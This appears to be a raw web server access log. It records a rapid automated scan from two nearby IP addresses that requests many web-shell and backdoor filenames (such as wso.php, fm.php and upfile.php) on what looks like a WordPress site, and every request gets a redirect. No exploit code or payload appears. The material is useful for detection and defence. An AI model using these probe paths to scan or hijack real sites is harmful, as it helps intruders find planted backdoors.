- - [23/Apr/2025:03:20:26 -0400] "GET /update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /Njima.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:26 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-content/themes/pridmag/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:20:27 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /FroggBaba.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-content/plugins/azra-tn/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:27 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:28 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:20:28 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-content/plugins/tunnelforms/lib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /style2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-signup.php?Fox=sQFLZ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:29 -0400] "GET /wp-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:29 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-admin/images/Mhbgf.php/xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:20:30 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /gali.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:30 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:30 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /cache/i/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:31 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /dirs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:20:31 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /uzkeerfe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /abouts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:20:31 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /malls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:31 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /qinfofuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:31 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /thoms.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:20:32 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:20:32 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 